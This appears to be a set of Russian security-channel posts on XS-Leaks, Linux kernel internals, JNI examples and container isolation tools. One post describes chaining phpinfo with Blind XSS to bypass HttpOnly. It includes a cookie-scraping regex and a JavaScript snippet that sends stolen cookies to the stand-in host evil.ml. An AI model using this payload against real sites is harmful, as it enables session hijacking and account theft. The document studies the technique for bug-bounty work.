⁤Бородатый баг из 2013, позволяющий узнать по косвенным признакам, залогинен ли пользователь, зашедший на вашу страницу в сети, в Facebook, Twitter или GMail (или любом другом сайте, на котором вы найдете подобный вектор). Используя один из легитимных способов обхода CORS, при помощи загрузки сторонних ресурсов (таких как изображения или скрипты), возможно, используя ответ от сервера, понять, имеет ли пользователь доступ к запрашиваемому ресурсу. В данном случае был использован тег <script> и события onload и onerror, срабатывающие в зависимости от кода ответа при запросе страницы, указанной в качестве атрибута src. При загрузке страницы вернулся код >400 - ошибка, пользователь не имеет доступа к ресурсу, не залогинен и, соответственно, наоборот.

С тех пор было относительно немного райтапов с такими находками, но те, что были опубликованы - вызывают интерес и показывают более критичную поверхность для атаки - как, например, из этой статьи с посимвольным чтением секрета из Jira залогиненного пользователя при помощи обращения к одному из плагинов для построения графиков, вместе с использованием языка запросов JQL. Также в статье c недавно найденным багом в Slack описан еще один вектор с обходом защиты от подобного типа атак - заголовка SameSite, введенного в 2016 и позволяющего контроллировать случаи, когда будет отправлен запрос на сторонний запрос с Cookie, а когда - нет.

В целом механика подобных утечек схожа с CSRF, за исключением того, что вместо выполнения действия от имени пользователя, мы получаем о нем ту или иную информацию со сторонних сайтов для чтения критичных данных или деанонимизации. Каждый запрос, отправляемый в рамках атаки, называется "оракулом" и должен отвечать на вопрос "да" или "нет", составляя полноценную картину о цели.

Сайт с описанием хаков, позволяющих эксплуатировать XS-Leaks: https://xsleaks.dev/

⁤⁤Серия статей о ядре Linux и его внутреннем устройстве.

На русский пока что переведена только первая глава, в которой шаг за шагом, строка за строкой исходного кода (буквально!) автор рассказывает об инициализации ядра - начиная с момента, как ядро распаковано и до запуска ядром первого процесса:
— Первые шаги после декомпрессии ядра - описывает первые шаги в ядре.
— Начальная обработка прерываний и исключений - описывает инициализацию начальных прерываний и начального обработчика ошибки страницы.
— Последние приготовления перед точкой входа в ядро - описывает последние приготовления перед вызовом start_kernel.
— Точка входа в ядро - описывает первые шаги в общем коде ядра.
— Продолжение архитектурно-зависимой инициализации - описывает архитектурно-зависимую инициализацию.
— Архитектурно-зависимая инициализация, снова... - описывает продолжение процесса архитектурно-зависимой инициализации.
— Конец архитектурно-зависимой инициализации, почти... - описывает конец setup_arch.
— Инициализация планировщика - описывает подготовку перед инициализацией и саму инициализацию планировщика.
— Инициализация RCU - описывает инициализацию RCU.
— Конец инициализации - последняя часть об инициализации ядра Linux.

https://github.com/0xAX/linux-insides

Всех с наступающим (а кого-то с уже наступившим)!

Тут не будет пожеланий "щастья и здоровия", думаю, вы уже начиталась подобных поздравлений в других каналах или получили от родственников.

У каждого год прошел по разному и если вы, подводя итоги уходящего, не достигли того, чего желали в прошлом, не расстраивайтесь и считайте это одним из шагов к глобальной намеченной цели.

Ведь, как показывает мой жизненный опыт, все действительно зависит только от вас, вашего упорства и от чуточки удачи, которой я и хочу пожелать вам в новом году 😉

Спасибо каждому за вклад в развитие канала. В следующем будем и дальше продолжать публиковать материалы на ваши любимые темы и нести хакерскую этику в массы!

Последняя статья в уходящем году: реверс-инжиниринг крошечного чипа из 80х, воспроизводящего рождественские мелодии

Более 80 примеров использования JNI

https://github.com/mkowsiak/jnicookbook

😉 Что связывает Полянина и Якубца?

⁤Найдя phpinfo на сайте, как показывают многие кейсы на H1, багхантеры сразу же бегут сообщать о своей находке компании, чтобы получить, как правило, минимальную выплату (особенно, когда не утекли никакие особо критичные секреты).

Многие вообще незаслуженно остаются без денег из-за "Out of Scope". Поэтому есть более интересный способ воспользоваться найденной страницей, объединив несколько багов в цепочку и увеличив тем самым критичность.

В данном случае интересует объединение phpinfo с Blind XSS. Так как сейчас тяжело встретить нужную нам куку PHPSESSID (или любую ей аналогичную) без флага HttpOnly, напрямую выкрасть ее сразу не удастся, придется обойти ограничение.

Тут нам и пригодится ранее найденный phpinfo. Не стоит забывать, что помимо информации об ОС и некоторых других, в данном случае, нам неинтересных данных, эта страница также отображает куки зашедшего на нее пользователя.

Поэтому в пэйлоаде, эксплуатирующем Blind XSS, можно сделать от имени пользователя отдельный fetch на phpinfo и спарсить его куки, которые там отобразятся, при помощи следующего регекспа /HTTP_COOKIE.+?<\/td><td.+?>([\w\W]+?)<\/td>/.

Далее необходимо будет доставить их на наш сервер, обойдя CORS. Это также делается достаточно просто, на примере тега script:
let scr = document.createElement('script');
scr.src = https://evil.ml/?${cookie_var};
document.head.appendChild(scr);

Мы добавляем его на страницу динамически и отправляем извлеченные ранее куки с phpinfo на собственный сервер, обходя политику. Все, что останется сделать - дождаться отстука и пойти проверить access логи.

Нашел три интересных проекта, призванных дополнительно обезопасить контейнеризированные приложения и уменьшить поверхность для атаки.

Kata Containers - проект, позволяющий создавать "облегченные" виртуальные машины для разворачивания внутри них различных контейнеров. Призван сэкономить ресурсы сервера, обеспечив при этом дополнительную изоляцию за счет использования гипервизора.

Вроде как, несмотря, на описанные выше плюсы, некоторые ругают его за долгий запуск самих виртуалок. Сам не тестил, но зато нашел решение от AWS в виде Firecracker, который активно использует сам Amazon для сервисов Lambda и Fargate.

На сайте пишут, что время загрузки создаваемых виртуальных машин составляет порядка 125 миллисекунд. Такая скорость достигается благодаря тому, что разработчики вырезали из ядра всю функциональность, которая не требуется в контейнере.

Но если для кого-то и 125мс. покажется долго, на этот случай есть разработанные IBM Nabla контейнеры. Nabla контейнеры используют Unikernels образы и ограничены 7-ю сисколами - read, write, exit_group, clock_gettime, ppoll, pwrite64, и pread64. Все остальные вызовы обрабатываются в библиотечном компоненте Unikernels.

Манифест 12-факторного приложения — методология по созданию SaaS-приложений, которые отвечали бы современным стандартам безопасности, обладали максимальной переносимостью между средами выполнения, и подходили бы для развертывания на облачных платформах.

Некоторые факторы из манифеста: единая кодовая база, утилизируемость, явное объявление и изоляция зависимостей, безопасная передача секретов и их хранение.